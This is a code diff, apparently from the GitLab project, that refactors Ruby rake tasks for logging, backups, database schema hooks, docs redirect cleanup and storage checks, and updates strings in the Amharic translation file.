+++ b/lib/tasks/file_hooks.rake
@@ -3,14 +3,9 @@
namespace :file_hooks do
desc 'Validate existing file hooks'
task validate: :environment do
- puts 'Validating file hooks from /file_hooks and /plugins directories'
+ puts 'Validating file hooks from /file_hooks directories'
Gitlab::FileHook.files.each do |file|
- if File.dirname(file).ends_with?('plugins')
- puts 'DEPRECATED: /plugins directory is deprecated and will be removed in 14.0. ' \
- 'Please move your files into /file_hooks directory.'
- end
-
success, message = Gitlab::FileHook.execute(file, Gitlab::DataBuilder::Push::SAMPLE_DATA)
if success
diff --git a/lib/tasks/gitlab/artifacts/migrate.rake b/lib/tasks/gitlab/artifacts/migrate.rake
index 4c312ea492b..084e7c78906 100644
--- a/lib/tasks/gitlab/artifacts/migrate.rake
+++ b/lib/tasks/gitlab/artifacts/migrate.rake
@@ -7,7 +7,7 @@ desc 'GitLab | Artifacts | Migrate files for artifacts to comply with new storag
namespace :gitlab do
namespace :artifacts do
task migrate: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
helper = Gitlab::LocalAndRemoteStorageMigration::ArtifactMigrater.new(logger)
@@ -19,7 +19,7 @@ namespace :gitlab do
end
task migrate_to_local: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
helper = Gitlab::LocalAndRemoteStorageMigration::ArtifactMigrater.new(logger)
diff --git a/lib/tasks/gitlab/backup.rake b/lib/tasks/gitlab/backup.rake
index c53ef8382b8..5b17a8c185a 100644
--- a/lib/tasks/gitlab/backup.rake
+++ b/lib/tasks/gitlab/backup.rake
@@ -109,7 +109,7 @@ namespace :gitlab do
puts "GITLAB_BACKUP_MAX_CONCURRENCY and GITLAB_BACKUP_MAX_STORAGE_CONCURRENCY must have a value of at least 1".color(:red)
exit 1
else
- Backup::Repositories.new(progress).dump(
+ Backup::Repositories.new(progress, strategy: repository_backup_strategy).dump(
max_concurrency: max_concurrency,
max_storage_concurrency: max_storage_concurrency
)
@@ -119,7 +119,7 @@ namespace :gitlab do
task restore: :gitlab_environment do
puts_time "Restoring repositories ...".color(:blue)
- Backup::Repositories.new(progress).restore
+ Backup::Repositories.new(progress, strategy: repository_backup_strategy).restore
puts_time "done".color(:green)
end
end
@@ -294,6 +294,14 @@ namespace :gitlab do
$stdout
end
end
+
+ def repository_backup_strategy
+ if Feature.enabled?(:gitaly_backup)
+ Backup::GitalyBackup.new(progress)
+ else
+ Backup::GitalyRpcBackup.new(progress)
+ end
+ end
end
# namespace end: backup
end
diff --git a/lib/tasks/gitlab/cleanup.rake b/lib/tasks/gitlab/cleanup.rake
index 6c3a7a77e0e..0cd4ab354c9 100644
--- a/lib/tasks/gitlab/cleanup.rake
+++ b/lib/tasks/gitlab/cleanup.rake
@@ -92,9 +92,9 @@ namespace :gitlab do
task orphan_lfs_files: :gitlab_environment do
warn_user_is_not_gitlab
- removed_files = RemoveUnreferencedLfsObjectsWorker.new.perform
+ number_of_removed_files = RemoveUnreferencedLfsObjectsWorker.new.perform
- logger.info "Removed unreferenced LFS files: #{removed_files.count}".color(:green)
+ logger.info "Removed unreferenced LFS files: #{number_of_removed_files}".color(:green)
end
namespace :sessions do
@@ -178,7 +178,7 @@ namespace :gitlab do
return @logger if defined?(@logger)
@logger = if Rails.env.development? || Rails.env.production?
- Logger.new(STDOUT).tap do |stdout_logger|
+ Logger.new($stdout).tap do |stdout_logger|
stdout_logger.extend(ActiveSupport::Logger.broadcast(Rails.logger))
stdout_logger.level = debug? ? Logger::DEBUG : Logger::INFO
end
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index bbfdf598e42..ee986f4c503 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -129,16 +129,31 @@ namespace :gitlab do
end
# Inform Rake that custom tasks should be run every time rake db:structure:dump is run
+ #
+ # Rails 6.1 deprecates db:structure:dump in favor of db:schema:dump
Rake::Task['db:structure:dump'].enhance do
Rake::Task['gitlab:db:clean_structure_sql'].invoke
Rake::Task['gitlab:db:dump_custom_structure'].invoke
end
+ # Inform Rake that custom tasks should be run every time rake db:schema:dump is run
+ Rake::Task['db:schema:dump'].enhance do
+ Rake::Task['gitlab:db:clean_structure_sql'].invoke
+ Rake::Task['gitlab:db:dump_custom_structure'].invoke
+ end
+
# Inform Rake that custom tasks should be run every time rake db:structure:load is run
+ #
+ # Rails 6.1 deprecates db:structure:load in favor of db:schema:load
Rake::Task['db:structure:load'].enhance do
Rake::Task['gitlab:db:load_custom_structure'].invoke
end
+ # Inform Rake that custom tasks should be run every time rake db:schema:load is run
+ Rake::Task['db:schema:load'].enhance do
+ Rake::Task['gitlab:db:load_custom_structure'].invoke
+ end
+
desc 'Create missing dynamic database partitions'
task :create_dynamic_partitions do
Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions
@@ -159,10 +174,16 @@ namespace :gitlab do
#
# Other than that it's helpful to create partitions early when bootstrapping
# a new installation.
+ #
+ # Rails 6.1 deprecates db:structure:load in favor of db:schema:load
Rake::Task['db:structure:load'].enhance do
Rake::Task['gitlab:db:create_dynamic_partitions'].invoke
end
+ Rake::Task['db:schema:load'].enhance do
+ Rake::Task['gitlab:db:create_dynamic_partitions'].invoke
+ end
+
# During testing, db:test:load restores the database schema from scratch
# which does not include dynamic partitions. We cannot rely on application
# initializers here as the application can continue to run while
@@ -188,7 +209,7 @@ namespace :gitlab do
raise "Index not found or not supported: #{args[:index_name]}" if indexes.empty?
end
- ActiveRecord::Base.logger = Logger.new(STDOUT) if Gitlab::Utils.to_boolean(ENV['LOG_QUERIES_TO_CONSOLE'], default: false)
+ ActiveRecord::Base.logger = Logger.new($stdout) if Gitlab::Utils.to_boolean(ENV['LOG_QUERIES_TO_CONSOLE'], default: false)
Gitlab::Database::Reindexing.perform(indexes)
rescue StandardError => e
@@ -219,9 +240,7 @@ namespace :gitlab do
desc 'Run migrations with instrumentation'
task migration_testing: :environment do
result_dir = Gitlab::Database::Migrations::Instrumentation::RESULT_DIR
- raise "Directory exists already, won't overwrite: #{result_dir}" if File.exist?(result_dir)
-
- Dir.mkdir(result_dir)
+ FileUtils.mkdir_p(result_dir)
verbose_was = ActiveRecord::Migration.verbose
ActiveRecord::Migration.verbose = true
diff --git a/lib/tasks/gitlab/docs/redirect.rake b/lib/tasks/gitlab/docs/redirect.rake
index 0c8e0755348..990ff723eeb 100644
--- a/lib/tasks/gitlab/docs/redirect.rake
+++ b/lib/tasks/gitlab/docs/redirect.rake
@@ -1,8 +1,11 @@
# frozen_string_literal: true
require 'date'
require 'pathname'
+require "yaml"
+#
# https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page
+#
namespace :gitlab do
namespace :docs do
desc 'GitLab | Docs | Create a doc redirect'
@@ -11,14 +14,14 @@ namespace :gitlab do
old_path = args.old_path
else
puts '=> Enter the path of the OLD file:'
- old_path = STDIN.gets.chomp
+ old_path = $stdin.gets.chomp
end
if args.new_path
new_path = args.new_path
else
puts '=> Enter the path of the NEW file:'
- new_path = STDIN.gets.chomp
+ new_path = $stdin.gets.chomp
end
#
@@ -38,13 +41,14 @@ namespace :gitlab do
# - If this is an external URL, move the date 1 year later.
# - If this is a relative URL, move the date 3 months later.
#
- date = Time.now.utc.strftime('%Y-%m-%d')
- date = new_path.start_with?('http') ? Date.parse(date) >> 12 : Date.parse(date) >> 3
+ today = Time.now.utc.to_date
+ date = new_path.start_with?('http') ? today >> 12 : today >> 3
puts "=> Creating new redirect from #{old_path} to #{new_path}"
File.open(old_path, 'w') do |post|
post.puts '---'
post.puts "redirect_to: '#{new_path}'"
+ post.puts "remove_date: '#{date}'"
post.puts '---'
post.puts
post.puts "This file was moved to [another location](#{new_path})."
@@ -53,5 +57,68 @@ namespace :gitlab do
post.puts "<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->"
end
end
+
+ desc 'GitLab | Docs | Clean up old redirects'
+ task :clean_redirects do
+ #
+ # Calculate new path from the redirect URL.
+ #
+ # If the redirect is not a full URL:
+ # 1. Create a new Pathname of the file
+ # 2. Use dirname to get all but the last component of the path
+ # 3. Join with the redirect_to entry
+ # 4. Substitute:
+ # - '.md' => '.html'
+ # - 'doc/' => '/ee/'
+ #
+ # If the redirect URL is a full URL pointing to the Docs site
+ # (cross-linking among the 4 products), remove the FQDN prefix:
+ #
+ # From : https://docs.gitlab.com/ee/install/requirements.html
+ # To : /ee/install/requirements.html
+ #
+ def new_path(redirect, filename)
+ if !redirect.start_with?('http')
+ Pathname.new(filename).dirname.join(redirect).to_s.gsub(%r(\.md), '.html').gsub(%r(doc/), '/ee/')
+ elsif redirect.start_with?('https://docs.gitlab.com')
+ redirect.gsub('https://docs.gitlab.com', '')
+ else
+ redirect
+ end
+ end
+
+ today = Time.now.utc.to_date
+
+ #
+ # Find the files to be deleted.
+ # Exclude 'doc/development/documentation/index.md' because it
+ # contains an example of the YAML front matter.
+ #
+ files_to_be_deleted = `grep -Ir 'remove_date:' doc | grep -v doc/development/documentation/index.md | cut -d ":" -f 1`.split("\n")
+
+ #
+ # Iterate over the files to be deleted and print the needed
+ # YAML entries for the Docs site redirects.
+ #
+ files_to_be_deleted.each do |filename|
+ frontmatter = YAML.safe_load(File.read(filename))
+ remove_date = Date.parse(frontmatter['remove_date'])
+ old_path = filename.gsub(%r(\.md), '.html').gsub(%r(doc/), '/ee/')
+
+ #
+ # Check if the removal date is before today, and delete the file and
+ # print the content to be pasted in
+ # https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/redirects.yaml.
+ # The remove_date of redirects.yaml should be nine months in the future.
+ # To not be confused with the remove_date of the Markdown page.
+ #
+ next unless remove_date < today
+
+ File.delete(filename) if File.exist?(filename)
+ puts " - from: #{old_path}"
+ puts " to: #{new_path(frontmatter['redirect_to'], filename)}"
+ puts " remove_date: #{remove_date >> 9}"
+ end
+ end
end
end
diff --git a/lib/tasks/gitlab/doctor/secrets.rake b/lib/tasks/gitlab/doctor/secrets.rake
index 6e3f474312c..29f0f36c705 100644
--- a/lib/tasks/gitlab/doctor/secrets.rake
+++ b/lib/tasks/gitlab/doctor/secrets.rake
@@ -4,7 +4,7 @@ namespace :gitlab do
namespace :doctor do
desc "GitLab | Check if the database encrypted values can be decrypted using current secrets"
task secrets: :gitlab_environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.level = Gitlab::Utils.to_boolean(ENV['VERBOSE']) ? Logger::DEBUG : Logger::INFO
diff --git a/lib/tasks/gitlab/graphql.rake b/lib/tasks/gitlab/graphql.rake
index 27bba6aa307..b405cbd3f68 100644
--- a/lib/tasks/gitlab/graphql.rake
+++ b/lib/tasks/gitlab/graphql.rake
@@ -3,11 +3,12 @@
return if Rails.env.production?
require 'graphql/rake_task'
+require_relative '../../../tooling/graphql/docs/renderer'
namespace :gitlab do
OUTPUT_DIR = Rails.root.join("doc/api/graphql/reference")
TEMP_SCHEMA_DIR = Rails.root.join('tmp/tests/graphql')
- TEMPLATES_DIR = 'lib/gitlab/graphql/docs/templates/'
+ TEMPLATES_DIR = 'tooling/graphql/docs/templates/'
# Make all feature flags enabled so that all feature flag
# controlled fields are considered visible and are output.
@@ -110,7 +111,7 @@ namespace :gitlab do
desc 'GitLab | GraphQL | Generate GraphQL docs'
task compile_docs: [:environment, :enable_feature_flags] do
- renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
+ renderer = Tooling::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
renderer.write
@@ -119,7 +120,7 @@ namespace :gitlab do
desc 'GitLab | GraphQL | Check if GraphQL docs are up to date'
task check_docs: [:environment, :enable_feature_flags] do
- renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
+ renderer = Tooling::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
doc = File.read(Rails.root.join(OUTPUT_DIR, 'index.md'))
diff --git a/lib/tasks/gitlab/ldap.rake b/lib/tasks/gitlab/ldap.rake
index 3b2834c0008..4da22e686ef 100644
--- a/lib/tasks/gitlab/ldap.rake
+++ b/lib/tasks/gitlab/ldap.rake
@@ -42,7 +42,7 @@ namespace :gitlab do
namespace :secret do
desc 'GitLab | LDAP | Secret | Write LDAP secrets'
task write: [:environment] do
- content = STDIN.tty? ? STDIN.gets : STDIN.read
+ content = $stdin.tty? ? $stdin.gets : $stdin.read
Gitlab::EncryptedLdapCommand.write(content)
end
diff --git a/lib/tasks/gitlab/lfs/migrate.rake b/lib/tasks/gitlab/lfs/migrate.rake
index a173de7c5c7..47f9e1dfb32 100644
--- a/lib/tasks/gitlab/lfs/migrate.rake
+++ b/lib/tasks/gitlab/lfs/migrate.rake
@@ -6,7 +6,7 @@ desc "GitLab | LFS | Migrate LFS objects to remote storage"
namespace :gitlab do
namespace :lfs do
task migrate: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Starting transfer of LFS files to object storage')
LfsObject.with_files_stored_locally
@@ -20,7 +20,7 @@ namespace :gitlab do
end
task migrate_to_local: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Starting transfer of LFS files to local storage')
LfsObject.with_files_stored_remotely
diff --git a/lib/tasks/gitlab/packages/composer.rake b/lib/tasks/gitlab/packages/composer.rake
index c9bccfe9384..97f1da0ff63 100644
--- a/lib/tasks/gitlab/packages/composer.rake
+++ b/lib/tasks/gitlab/packages/composer.rake
@@ -6,7 +6,7 @@ desc "GitLab | Packages | Build composer cache"
namespace :gitlab do
namespace :packages do
task build_composer_cache: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Starting to build composer cache files')
::Packages::Package.composer.find_in_batches do |packages|
diff --git a/lib/tasks/gitlab/packages/events.rake b/lib/tasks/gitlab/packages/events.rake
index d24535d85b6..a5b801ff62d 100644
--- a/lib/tasks/gitlab/packages/events.rake
+++ b/lib/tasks/gitlab/packages/events.rake
@@ -14,7 +14,7 @@ namespace :gitlab do
end
task generate_counts: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Building list of package events...')
path = Gitlab::UsageDataCounters::PackageEventCounter::KNOWN_EVENTS_PATH
@@ -26,7 +26,7 @@ namespace :gitlab do
end
task generate_unique: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Building list of package events...')
path = File.join(File.dirname(Gitlab::UsageDataCounters::HLLRedisCounter::KNOWN_EVENTS_PATH), 'package_events.yml')
diff --git a/lib/tasks/gitlab/packages/migrate.rake b/lib/tasks/gitlab/packages/migrate.rake
index febc3e7fa2d..1c28f4308a2 100644
--- a/lib/tasks/gitlab/packages/migrate.rake
+++ b/lib/tasks/gitlab/packages/migrate.rake
@@ -6,7 +6,7 @@ desc "GitLab | Packages | Migrate packages files to remote storage"
namespace :gitlab do
namespace :packages do
task migrate: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Starting transfer of package files to object storage')
unless ::Packages::PackageFileUploader.object_store_enabled?
diff --git a/lib/tasks/gitlab/pages.rake b/lib/tasks/gitlab/pages.rake
index 684d62d1367..c3828e7eba4 100644
--- a/lib/tasks/gitlab/pages.rake
+++ b/lib/tasks/gitlab/pages.rake
@@ -35,7 +35,7 @@ namespace :gitlab do
end
def logger
- @logger ||= Logger.new(STDOUT)
+ @logger ||= Logger.new($stdout)
end
def migration_threads
@@ -60,7 +60,7 @@ namespace :gitlab do
namespace :deployments do
task migrate_to_object_storage: :gitlab_environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
helper = Gitlab::LocalAndRemoteStorageMigration::PagesDeploymentMigrater.new(logger)
@@ -72,7 +72,7 @@ namespace :gitlab do
end
task migrate_to_local: :gitlab_environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
helper = Gitlab::LocalAndRemoteStorageMigration::PagesDeploymentMigrater.new(logger)
diff --git a/lib/tasks/gitlab/setup.rake b/lib/tasks/gitlab/setup.rake
index 31bd80e78d4..705519d1741 100644
--- a/lib/tasks/gitlab/setup.rake
+++ b/lib/tasks/gitlab/setup.rake
@@ -40,7 +40,7 @@ namespace :gitlab do
end
# If there are any clients connected to the DB, PostgreSQL won't let
- # you drop the database. It's possible that Sidekiq, Unicorn, or
+ # you drop the database. It's possible that Sidekiq, Puma, or
# some other client will be hanging onto a connection, preventing
# the DROP DATABASE from working. To workaround this problem, this
# method terminates all the connections so that a subsequent DROP
diff --git a/lib/tasks/gitlab/storage.rake b/lib/tasks/gitlab/storage.rake
index ede6b6af80b..6fa39a26488 100644
--- a/lib/tasks/gitlab/storage.rake
+++ b/lib/tasks/gitlab/storage.rake
@@ -96,8 +96,12 @@ namespace :gitlab do
desc 'Gitlab | Storage | Summary of existing projects using Legacy Storage'
task legacy_projects: :environment do
- helper = Gitlab::HashedStorage::RakeHelper
- helper.relation_summary('projects using Legacy Storage', Project.without_storage_feature(:repository))
+ # Required to prevent Docker upgrade to 14.0 if there data on legacy storage
+ # See: https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5311#note_590454698
+ wait_until_database_is_ready do
+ helper = Gitlab::HashedStorage::RakeHelper
+ helper.relation_summary('projects using Legacy Storage', Project.without_storage_feature(:repository))
+ end
end
desc 'Gitlab | Storage | List existing projects using Legacy Storage'
@@ -135,8 +139,12 @@ namespace :gitlab do
desc 'Gitlab | Storage | Summary of project attachments using Legacy Storage'
task legacy_attachments: :environment do
- helper = Gitlab::HashedStorage::RakeHelper
- helper.relation_summary('attachments using Legacy Storage', helper.legacy_attachments_relation)
+ # Required to prevent Docker upgrade to 14.0 if there data on legacy storage
+ # See: https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5311#note_590454698
+ wait_until_database_is_ready do
+ helper = Gitlab::HashedStorage::RakeHelper
+ helper.relation_summary('attachments using Legacy Storage', helper.legacy_attachments_relation)
+ end
end
desc 'Gitlab | Storage | List existing project attachments using Legacy Storage'
@@ -156,5 +164,23 @@ namespace :gitlab do
helper = Gitlab::HashedStorage::RakeHelper
helper.attachments_list('attachments using Hashed Storage', helper.hashed_attachments_relation)
end
+
+ def wait_until_database_is_ready
+ attempts = (ENV['MAX_DATABASE_CONNECTION_CHECKS'] || 1).to_i
+ inverval = (ENV['MAX_DATABASE_CONNECTION_CHECK_INTERVAL'] || 10).to_f
+
+ attempts.to_i.times do
+ unless Gitlab::Database.exists?
+ puts "Waiting until database is ready before continuing...".color(:yellow)
+ sleep inverval
+ end
+ end
+
+ yield
+ rescue ActiveRecord::ConnectionNotEstablished => ex
+ puts "Failed to connect to the database...".color(:red)
+ puts "Error: #{ex}"
+ exit 1
+ end
end
end
diff --git a/lib/tasks/gitlab/terraform/migrate.rake b/lib/tasks/gitlab/terraform/migrate.rake
index 2bf9ec9537a..99e33011cf5 100644
--- a/lib/tasks/gitlab/terraform/migrate.rake
+++ b/lib/tasks/gitlab/terraform/migrate.rake
@@ -6,7 +6,7 @@ desc "GitLab | Terraform | Migrate Terraform states to remote storage"
namespace :gitlab do
namespace :terraform_states do
task migrate: :environment do
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
logger.info('Starting transfer of Terraform states to object storage')
begin
diff --git a/lib/tasks/gitlab/uploads/migrate.rake b/lib/tasks/gitlab/uploads/migrate.rake
index 6052ff90341..80290f95e8e 100644
--- a/lib/tasks/gitlab/uploads/migrate.rake
+++ b/lib/tasks/gitlab/uploads/migrate.rake
@@ -16,7 +16,7 @@ namespace :gitlab do
# category to object storage
desc 'GitLab | Uploads | Migrate the uploaded files of specified type to object storage'
task :migrate, [:uploader_class, :model_class, :mounted_as] => :environment do |_t, args|
- Gitlab::Uploads::MigrationHelper.new(args, Logger.new(STDOUT)).migrate_to_remote_storage
+ Gitlab::Uploads::MigrationHelper.new(args, Logger.new($stdout)).migrate_to_remote_storage
end
namespace :migrate_to_local do
@@ -31,7 +31,7 @@ namespace :gitlab do
desc 'GitLab | Uploads | Migrate the uploaded files of specified type to local storage'
task :migrate_to_local, [:uploader_class, :model_class, :mounted_as] => :environment do |_t, args|
- Gitlab::Uploads::MigrationHelper.new(args, Logger.new(STDOUT)).migrate_to_local_storage
+ Gitlab::Uploads::MigrationHelper.new(args, Logger.new($stdout)).migrate_to_local_storage
end
end
end
diff --git a/lib/tasks/gitlab/uploads/sanitize.rake b/lib/tasks/gitlab/uploads/sanitize.rake
index eec423cbb8b..40f6a7bb67d 100644
--- a/lib/tasks/gitlab/uploads/sanitize.rake
+++ b/lib/tasks/gitlab/uploads/sanitize.rake
@@ -8,7 +8,7 @@ namespace :gitlab do
args.with_defaults(dry_run: 'true')
args.with_defaults(sleep_time: 0.3)
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
sanitizer = Gitlab::Sanitizers::Exif.new(logger: logger)
sanitizer.batch_clean(start_id: args.start_id, stop_id: args.stop_id,
diff --git a/lib/tasks/gitlab/x509/update.rake b/lib/tasks/gitlab/x509/update.rake
index de878a3d093..d3c63fa8514 100644
--- a/lib/tasks/gitlab/x509/update.rake
+++ b/lib/tasks/gitlab/x509/update.rake
@@ -10,7 +10,7 @@ namespace :gitlab do
end
def update_certificates
- logger = Logger.new(STDOUT)
+ logger = Logger.new($stdout)
unless X509CommitSignature.exists?
logger.info("Unable to find any x509 commit signatures. Exiting.")
diff --git a/lib/tasks/import.rake b/lib/tasks/import.rake
index 633beb132d8..b7a5cbe44b9 100644
--- a/lib/tasks/import.rake
+++ b/lib/tasks/import.rake
@@ -38,7 +38,7 @@ class GithubImport
puts "This will import GitHub #{@repo.full_name.bright} into GitLab #{@project_path.bright} as #{@current_user.name}"
puts "Permission checks are ignored. Press any key to continue.".color(:red)
- STDIN.getch
+ $stdin.getch
puts 'Starting the import (this could take a while)'.color(:green)
end
@@ -131,7 +131,7 @@ class GithubRepos
end
def repo_id
- @repo_id ||= STDIN.gets.chomp.to_i
+ @repo_id ||= $stdin.gets.chomp.to_i
end
def repos
diff --git a/lib/tasks/tokens.rake b/lib/tasks/tokens.rake
index 74baa11c314..ff14ab51b49 100644
--- a/lib/tasks/tokens.rake
+++ b/lib/tasks/tokens.rake
@@ -19,7 +19,7 @@ namespace :tokens do
def reset_all_users_token(reset_token_method)
TmpUser.find_in_batches do |batch|
puts "Processing batch starting with user ID: #{batch.first.id}"
- STDOUT.flush
+ $stdout.flush
batch.each(&reset_token_method)
end
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index f63005bb382..150518235e6 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:17\n"
+"PO-Revision-Date: 2021-06-01 20:32\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d ንብርብር"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}ቡድኖች %{group_docs_link_end} በርካታ á•áˆ®áŒ€áŠ­á‰¶á‰½ ላይ ለመተባበር እና ለማስተዳደር ይስችላሉᢠ"
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "ስለሚና áˆá‰ƒá‹¶á‰½ %{link_start}ተጨማሪ ያንብቡ%{link_end}"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
